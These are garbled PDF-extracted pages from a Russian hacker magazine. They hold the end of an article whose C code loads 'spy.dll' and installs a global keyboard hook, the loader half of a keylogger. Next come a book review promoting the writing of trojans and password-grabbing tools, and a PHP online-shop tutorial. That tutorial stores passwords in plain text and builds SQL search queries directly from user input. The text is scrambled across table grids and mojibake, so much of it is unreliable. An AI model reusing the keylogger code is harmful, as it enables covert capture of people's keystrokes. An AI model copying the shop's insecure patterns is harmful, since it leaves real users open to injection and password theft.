|
|
и уже скомпилированный |
exe'øíèê òû |
|
можешь |
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||
на нашем диске или |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
скачать с сайта www.xakep.ru. На этом все. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||
Удачного компилирования. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
Листинг |
exe- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
модуля |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
#include <windows.h> |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
#pragma comment(linker,"/MERGE:. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
rdata=.text") |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
#pragma comment(linker,"/SECTION:. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
text,EWRX") |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
#pragma comment(linker,"/ENTRY:WinMain") |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||
int __stdcall |
WinMain(HINSTANCE ha, |
HINSTANCE, PTSTR, int) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||
{ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
// гружу DLL |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
HMODULE dllhook = |
LoadLibrary("spy.dll"); |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||
|
|
|
|
// Ищу функцию в DLL |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
HOOKPROC hook = (HOOKPROC)GetProcAddress(dllhook, |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||
"KeyboardProc"); |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
// Устанавливаю ловушку |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
HHOOK hhook = SetWindowsHookEx(WH_ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
KEYBOARD,hook,dllhook,0); |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
//время работы ловушки
//INFINITE - если хотите, чтобы ловушка работала "долго" Sleep(INFINITE);
//выгружаю DLL
FreeLibrary(dllhook); return 0; }
ЧТО ПОЧИТАТЬ
Название: Программирование на Delphi глазами хакера Автор: Фленов Михаил Евгеньевич
Издательство: BHV (www.bhv.ru)
Автор книги - Horrific. Да-да! Это наш автор. Многим читателям журнала Хакер он запомнился как ведущий рубрики Кодинг и опубликовавший целую серию статей по программированию на Delphi. В книге же разбирается способы написания Х-кода: использование недокументированных функций Windows, а так же принципы написания сетевых программ (сканеры портов, троянские кони), работа с оборудованием и т.д.
Многие главы основываются на опубликованных материалах в самом Хакере. Но не надо думать, что это плохо. Наоборот, все примеры описаны более подробно, вошло множество материала не попавшего на страницы журнала. Соответственно, ты, дорогой читатель, имеешь возможность впитать более качественную информацию. И самое главное, тебе больше не придется копаться в кучах номерах ][ в поисках нужной статьи - теперь все собрано в одной книге. Вот часть тем, вошедших в книгу: "Сжатие исполняемых файлов", "Полный контроль над кнопкой Пуск", "Шутки с мышкой", "Подсматриваем пароли, спрятанные под
звездочками", "Безбашенные окна", "Их разыскивают бойцы 139 порта", "Вытаскиваем из системы пароли", "Чат для локальной сети", "Твоя собственная почтовая мышка", "Персональный FTP сервер", "Самый быстрый сканер портов", "Работа с COM/LPT портом". И это далеко не все!
Если ты собираешься писать приложения на Delphi под Windows, то это книга просто твой справочник. Ты нау- чишься создавать программы-шутки, тем самым повеселить себя и своих друзей. Освоишь грамотные приемы написания сетевых приложений, куда ведь сейчас без интернета? Поймешь как работать с оборудованием, подключаемым к COM/LPT портам. Сможешь, например, при определенной сноровки написать свой модуль по работе с мобильниками. А это уже далеко не простой софт. Вывод из все этого - книга из разряда "must have!". К тому же с ней идет сопроводительный компакт-диск. Так что тебе не придется сидеть с книжкой и вбивать весь код. Все лежит на одной болванке.
71
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
|
X |
|
|
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
|
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
D |
|
|
|
|
|
|
|
r |
|
|
|
|
P |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
to |
BUY |
NOW! |
|
|
Кодинг |
|
||||
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
-торговля |
|
|
|
|
|
ИНТЕРНЕТ-ТОРГОВЛЯ ДЛЯ ЧАЙНИКОВ НА PHP |
|||||||||
w Click |
|
|
|
|
|
o |
m |
|
Интернет |
||||
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
df |
|
n |
e |
|
|
|
|||
|
|
|
|
|
-xcha |
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
Никита "red_ion" Кислицин (nikitoz@real.xakep.ru) |
|
|||||
|
|
|
|
для чайников на PHP |
|||||||||
|
|
|
|
|
|
|
http://nikitos.inc.ru |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
|
|
|
|
|
. В глазах |
покупателя они выигрывают у обычных |
магазинов |
||||||||
|
|
|
|
|
|
|
|
||||||||||
|
-магазины набирают обороты, это факт |
|
покупки, не выходя из дома, |
ассортимент и |
|||||||||||||
Интернет |
|
|
таких как возможность совершать |
|
|
|
|||||||||||
по множеству |
параметров, |
|
|
|
â |
сетевом магазине и, скажем, |
|||||||||||
. Разница между ценой одного и того же лота |
|||||||||||||||||
|
|
|
|
|
|
|
|
|
|||||||||
стоимость предлагаемых |
товаров |
|
двадцати и более процентов! И даже |
эта сверхнизкая цена позволяет |
|||||||||||||
íà |
Савеловском |
рынке может достигать |
|
|
. À |
все потому, что |
|||||||||||
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
товара бесплатную доставку на дом |
и хорошую гарантию |
|
|
|
|||||||||
продавцам включать в стоимость |
|
|
|
башлять крыше и т.д. |
|||||||||||||
|
|
продавцам, аренду помещений, |
|||||||||||||||
|
нет нужды отдавать деньги на зарплату |
|
|
|
|
||||||||||||
|
|
|
|
.inc.ru |
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
.xakep.ru) http://nikitos |
|
|
|
|
|
|
||||
|
|
|
|
|
_ion" Кислицин (nikitoz@real |
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
Никита "red |
|
|
|
|
|
|
|
|
|
|
|
Мизерные |
издержки виртуальной |
торговли гонят |
продавцов |
ê |
||||||||
|
||||||||||||
сумму |
предлагают |
|
стандартные |
|||||||||
вебстудиям, |
где им за приличную |
|
|
|||||||||
|
|
|
|
à |
теперь |
|||||||
решения, |
однажды разработанные, |
|
||||||||||
шаблонные |
|
|
|
|
таких |
|||||||
|
|
стоит заняться написанием |
||||||||||
|
|
. Так может тебе тоже |
èíåò |
|||||||||
реализуемые |
òû |
è ñàì |
захочешь торговать |
через |
||||||||
систем? Или, может, |
|
|
через |
|||||||||
случае, |
òâîé ïóòü |
лежит |
|
|||||||||
разливным |
|
пивом? :) |
В любом |
|
||||||||
|
|
|
|
|
. |
|
|
|
||||
|
|
|
|
|
|
. Этим мы и займемся |
|
|
|
|||
|
|
|
|
-торговли |
|
|
|
|
|
|
||
написание системы интернет |
|
|
|
|
|
|
|
|
Структура системы |
|
|
|
|
|
|
|
|
|
|
íà |
|||||||||||||||||||||||||
Подобные системы обычно состоят из |
|
нескольких частей. Можно их разделить |
||||||||||||||||||||||||||||||||||
|
|
|||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
Посетителю |
||||||||||||||||||
две категории |
|
- |
|
пользовательский |
и административный |
интерфейс |
|
|
|
|
åìó |
|||||||||||||||||||||||||
|
|
|
|
|
|
и красивый интерфейс, такой, чтобы |
||||||||||||||||||||||||||||||
сайта очень важно предоставить |
удобный |
|
|
|||||||||||||||||||||||||||||||||
. |
Поэтому стоит ответственно |
подойти к этому |
||||||||||||||||||||||||||||||||||
захотелось |
еще не раз вернуться |
|
|
|
|
|
|
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
вопросу и хорошо продумать usability системы |
|
краткую |
информацию о |
самых |
||||||||||||||||||||||||||||||||
Главная страница магазина должна |
|
|
содержать |
|||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||
продаваемых |
|
товарах, чтобы |
íå |
затруднять |
|
клиента поиском какого-нибудь |
||||||||||||||||||||||||||||||
|
|
ссылки на |
|
разделы магазина и |
||||||||||||||||||||||||||||||||
|
Также на ней следует поместить |
|
||||||||||||||||||||||||||||||||||
|
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||
бестселлера |
|
|
|
|
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
åìó |
||
форму поиска товара |
|
нашел интересующий |
его лот, надо предоставить |
|||||||||||||||||||||||||||||||||
После того как пользователь |
|
|||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
"корзину покупок" - неотъемлемый |
|||||||||||||||||||||||||||
возможность |
добавить товар в так называемую |
|||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
корзина |
|
представляет |
||||||||||||||||||||||||||
атрибут любого е-шопа. С |
программисткой точки зрения |
|
|
|||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
данных, обычно отображающуюся |
â cook- |
||||||||||||||||||||||||||||
собой некоторую динамическую структуру |
|
|
|
|||||||||||||||||||||||||||||||||
извлечения, модификации |
и удаления |
|||||||||||||||||||||||||||||||||||
ies, для которой определены |
операции |
|||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||
элемента по известному номеру. |
решил перейти |
ê |
|
оформлению |
|
покупок, |
|
åìó |
||||||||||||||||||||||||||||
После того, |
|
êàê |
пользователь |
|
|
|
|
|||||||||||||||||||||||||||||
|
|
äëÿ |
|
получения |
скидок |
â |
|
будущем, |
причем |
|||||||||||||||||||||||||||
предлагается |
зарегистрироваться |
|
|
|
|
|
||||||||||||||||||||||||||||||
|
|
оформления покупки. |
Посетителю даже не |
|||||||||||||||||||||||||||||||||
регистрация будет частью процесса |
||||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||
придется |
открывать новое окно. |
|
должна предоставлять |
|
владельцам магазина |
|||||||||||||||||||||||||||||||
|
|
|
|
|
часть системы |
|
||||||||||||||||||||||||||||||
Административная |
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
информацию о лотах, реализовывать |
||||||||||||||||||||||||||
возможность |
загружать и модифицировать |
|||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
аккаунтами и структурой |
||||||||||||||||||||||||||||
|
ïî |
покупкам, управлять пользовательскими |
||||||||||||||||||||||||||||||||||
доступ к логам |
|
|
|
интерфейс системы. |
||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
пользовательский |
||||||||||||||||||||||||
всего магазина. В этом номере мы разберем |
|
|
|
|
|
|
|
|
. |
|||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||
А в следующий раз, соответственно, |
|
напишем административную |
составляющую |
|||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
Спецификация |
таблиц |
|
|
|
|
|
|
|||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
колонки" |
|
- |
слева узкая |
|||||||||||||||||||||||||
Главная |
страница магазина |
обычно |
делается |
"â |
|
òðè |
|
|
||||||||||||||||||||||||||||
|
по центру широкая таблица с |
|||||||||||||||||||||||||||||||||||
|
|
|
таблица с навигацией по разделам, |
|||||||||||||||||||||||||||||||||
вертикальная |
|
|
|
|
|
|
|
|
|
|
покупок и т.д. |
|||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
с новостями, корзиной |
||||||||||||||||||||||||
информацией о товарах, а справа - полоса |
|
|
|
|
|
|
||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
описать соответствующие |
|||||||||||||||||||||||||||||
Для генерации содержимого |
всех этих таблиц следует |
|||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
привести все используемые |
|||||||||||||||||||||||
функции, но прежде мне хотелось бы для наглядности |
||||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||
|
|
|
|
|
|
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
таблицы системы |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
Shkoding |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
содержимое сайта: |
||||||||||||||
Итак, первым |
делом следует описать |
функции, формирующие |
||||||||||||||||||||||||||||||||||
|
|
корзины покупок |
||||||||||||||||||||||||||||||||||
|
|
|
|
|
показ |
бестселлеров, |
содержимого |
|||||||||||||||||||||||||||||
вывод информации о разделах, |
ïðè |
|
|
|
|
|
|
|
|
|
|
|
. |
|||||||||||||||||||||||
и т.д. Аналогичные |
задачи мы уже рассматривали |
|
создании других систем |
|||||||||||||||||||||||||||||||||
|
è |
|
|
отправке |
SQL-запроса, |
|||||||||||||||||||||||||||||||
|
|
ê |
конструированию |
|
|
|
||||||||||||||||||||||||||||||
Напомню, |
|
|
âñå |
сводится |
|
|
|
|||||||||||||||||||||||||||||
|
|
|
|
è |
организации цикла, |
|||||||||||||||||||||||||||||||
производящего выборку из соответствующей |
таблицы, |
|||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Создание таблиц БД |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
проходящего по всем возвращенным |
записям. Процедуры эти ужасно банальны, |
äà |
||||||||||||||
. |
||||||||||||||||
|
|
òàê ÷òî ýòî |
|
|
|
|
||||||||||
к тому же мы не раз их реализовывали, |
остается на твоей совести |
|||||||||||||||
|
|
по базе данных - тема неисчерпаемая |
||||||||||||||
Поговорим лучше о создании |
функции поиска |
|||||||||||||||
|
|
|
|
|
|
эффективную |
систему поиска очень |
|||||||||
|
|
. Сделать действительно |
|
|
|
|||||||||||
и очень интересная |
|
возможные опечатки |
è |
ошибки |
пользователя, |
|||||||||||
сложно: надо |
учитывать |
|
||||||||||||||
|
продукта и т.д. |
|||||||||||||||
|
|
|
|
точного названия |
искомого |
|||||||||||
предусмотреть |
то, что он может не знать |
|
|
|||||||||||||
|
|
|
|
|
которая, однако, будет |
|||||||||||
Ниже я напишу сравнительно |
простую систему поиска, |
|||||||||||||||
поддерживать |
стандартный |
синтаксис поисковых машин. |
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
присутствовать либо в названии, либо |
||||||||
Перед словом, которое должно обязательно |
|
|
|
|
|
|
|
72
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Таблица с разделами |
товаров: |
|||||
mysql> create table categories( |
|
|||||
-> |
|
|
PRIMARY KEY, |
|||
|
|
Cid INT NOT NULL AUTO_INCREMENT |
||||
-> Name VARCHAR(30) NOT NULL); |
|
|||||
Ñ |
информацией о товарах: |
|
||||
mysql> create table goods( |
|
|||||
-> Gid INT NOT |
|
|
||||
|
|
|
NULL AUTO_INCREMENT PRIMARY KEY, |
|||
-> Cid INT NOT NULL, |
|
|
||||
-> Name VARCHAR(50) NOT NULL, |
|
|||||
-> |
VARCHAR(50) NOT NULL, |
|||||
|
|
Description |
||||
-> Photo VARCHAR(50) NOT NULL, |
|
|||||
-> Buying INT NOT NULL, |
|
|
||||
-> Price INT NOT NULL); |
|
|
||||
Ñ |
информацией о пользователях: |
|||||
|
|
|||||
mysql> create table users( |
|
|
||||
-> Uid INT NOT |
NULL AUTO_INCREMENT PRIMARY KEY, |
|||||
-> |
|
|||||
FirstName VARCHAR(50) |
NOT NULL, |
|||||
-> |
||||||
LastName VARCHAR(50) |
NOT NULL, |
|
||||
-> |
|
|||||
Telephone VARCHAR(20) NOT NULL, |
||||||
|
|
|||||
-> Email VARCHAR(40) NOT NULL, |
|
|||||
-> Address VARCHAR(40) NOT NULL, |
|
|||||
-> Login VARCHAR(40) NOT |
NULL, |
|
||||
-> |
Password VARCHAR(40) NOT NULL); |
|
||||
|
|
|||||
Ñ |
|
информацией о покупках: |
||||
mysql> create table sales( |
|
|
||||
-> Sid INT NOT |
|
|
|
|||
|
|
NULL AUTO_INCREMENT PRIMARY KEY, |
||||
-> Gid INT NOT NULL, |
|
|
||||
-> Uid INT NOT NULL, |
|
|
||||
-> Date date NOT NULL, |
|
|
||||
-> Time int NOT NULL); |
|
|
в описании товара, |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
íè â êîåì |
|
|
пользователю следует поставить "+". Если же слово, |
наоборот, |
|||||||||||||||
случае не должно встречаться при |
|
|
|
|
|
||||||||||||||
префиксом "-". |
|
|
|
|
|
|
|
поиске товара, его следует набирать с |
|||||||||||
Кроме того, |
можно при |
помощи кавычек |
объединять в цитату несколько слов. |
||||||||||||||||
Я написал |
функцию, которая по данной |
||||||||||||||||||
выборку |
|
строке поиска |
генерирует SQL-запрос на |
||||||||||||||||
подходящих записей. |
|
|
|
|
|
|
|
||||||||||||
Работает |
îíà |
следующим |
образом. |
|
Первым делом |
из строки |
вырезаются все |
||||||||||||
слеши. Далее |
|
||||||||||||||||||
полученная строка |
разбивается в массив |
|
|
||||||||||||||||
После этого |
|
составляются |
|
$search по разделителю " ". |
|||||||||||||||
(искомые |
|
|
и помещаются |
в массив |
|
$Lexeme |
лексемы |
поиска |
|||||||||||
элементы, |
фактически |
- |
âñå |
слова |
è |
|
цитаты), |
||||||||||||
|
|
|
|
|
|
|
которые |
будут |
|||||||||||
использоваться при построении SQL-запроса. |
|
|
|
|
|
|
|||||||||||||
Прежде чем |
помещать |
слово в этот |
массив, следует обязательно проверить, |
||||||||||||||||
íå |
начинается ли оно |
ñ |
символа |
|
|||||||||||||||
|
". Ведь фраза, |
|
заключенная в |
кавычки, |
|||||||||||||||
является одной лексемой. |
|
|
|
|
|
|
|
|
Написание скрипта в PHP Expert Editor |
|
|
|
|
|
|
|
||||||||||
Получив массив с |
лексемами |
($Lexeme), переходим к |
основному |
этапу - |
|||||||||||||
|
|
|
|
|
|||||||||||||
составлению SQL-запроса, |
|
|
|
|
|
|
|
|
|
||||||||
Просматриваем весь |
|
реализованному по следующему принципу. |
|
|
|||||||||||||
массив $Lexeme и |
добавляем в |
запрос новые требования в |
|||||||||||||||
зависимости от префикса каждой |
|
|
|||||||||||||||
лексемы: |
если лексема начинается с символа "-", |
||||||||||||||||
такого |
текста не |
|
|
|
|
|
|
||||||||||
|
должно быть ни в одном из полей, |
по которым осуществляется |
|||||||||||||||
поиск; если |
же первый символ лексемы |
|
|
|
|||||||||||||
|
|
"+", òî õîòÿ |
|
бы одно из полей должно |
|||||||||||||
содержать этот текст. |
|
|
|
|
|
|
|
|
|
||||||||
Для наглядности приведу пример. На |
строку "книга по Unix" функция вернет |
" SELECT |
|||||||||||||||
* FROM |
|
|
|
|
|
|
|
||||||||||
|
GOODS WHERE (name LIKE '%книга по Unix%' OR |
description LIKE '%книга по |
|||||||||||||||
Unix%')". Åñëè æå |
пользователь набрал +книга -windows, |
||||||||||||||||
|
|
|
|
функция вернет |
"SELECT * |
||||||||||||
FROM GOODS WHERE |
(name LIKE |
'%книга%' OR |
|
|
|
|
|
||||||||||
(name NOT LIKE |
|
|
|
|
|
|
|
|
description LIKE '%книга%') AND |
||||||||
Кстати, |
|
|
'%windows%' AND description NOT LIKE '%windows%')". |
|
|
||||||||||||
примерно так же работает |
поисковый |
|
робот Яндекса, |
|
çà òåì |
||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
- |
|
|
|
|
|
d |
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
исключением, что |
поиск |
òàì |
более |
интеллектуальный: |
|
|
|
|
|
|
|
|
BUY |
|
|
||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||
довольно |
сложная |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
поддерживается |
|
|
|
|
|
|||||||||||||||
семантика запросов, |
учитываются |
ошибки и |
w |
|
|
to |
|
|
|
|
|
|
|||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||
пользователей и |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||||||||||||||
|
|
|
|
|
|
|
|
ò.ä. Íî ó íàñ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
опечатки |
|
|
|
o |
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
åùå âñå |
впереди :). |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
Перейдем |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
df |
|
|
n |
.c |
|
|||||||||
теперь |
ê |
вопросу |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
-x cha |
g |
|
|
|||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
организации |
|
корзины |
покупок. Это динамическая |
|
|
e |
|
||||||||||||||||||||
структура, все |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||
данные которой целиком |
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||
|
|
|
|
|
|
и полностью размещаются у |
пользователя в |
|
|
|
|
|
|||||||||||||||||||||||||||||
cookies. Поясню. Когда покупатель |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||
вешается плюшка примерно такого |
нажимает на ссылку "добавить в корзину", ему |
|
|
|
|
|
|||||||||||||||||||||||||||||||||||
âèäà: |
"1234567 1", ãäå 1234567 - |
|
идентификатор |
|
|
|
|
|
|||||||||||||||||||||||||||||||||
товара, |
à 1 |
|
- |
количество |
заказанного |
|
|
|
|
|
|
||||||||||||||||||||||||||||||
|
товара. |
Понятно, |
÷òî |
|
написать |
функции, |
|
|
|
|
|
||||||||||||||||||||||||||||||
которые |
абстрагировали бы |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||
|
|
программиста от работы с cookies, совсем |
несложно. |
|
|
|
|
|
|||||||||||||||||||||||||||||||||
Добавление |
товара в корзину |
представляется либо установкой, либо |
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||||
óæå |
существующей |
êóêè, |
|
|
модификацией |
|
|
|
|
|
|||||||||||||||||||||||||||||||
|
|
остальные |
|
æå |
|
функции |
сводятся, фактически, |
|
ê |
|
|
|
|
|
|||||||||||||||||||||||||||
элементарной |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||
работе со строками и отправке |
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||
|
|
|
|
|
"печенья". |
Приводить их в журнале я |
|
|
|
|
|
||||||||||||||||||||||||||||||
íå áóäó. Òû è ñàì áåç |
труда |
найдешь их |
ëèáî |
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||
После того, |
|
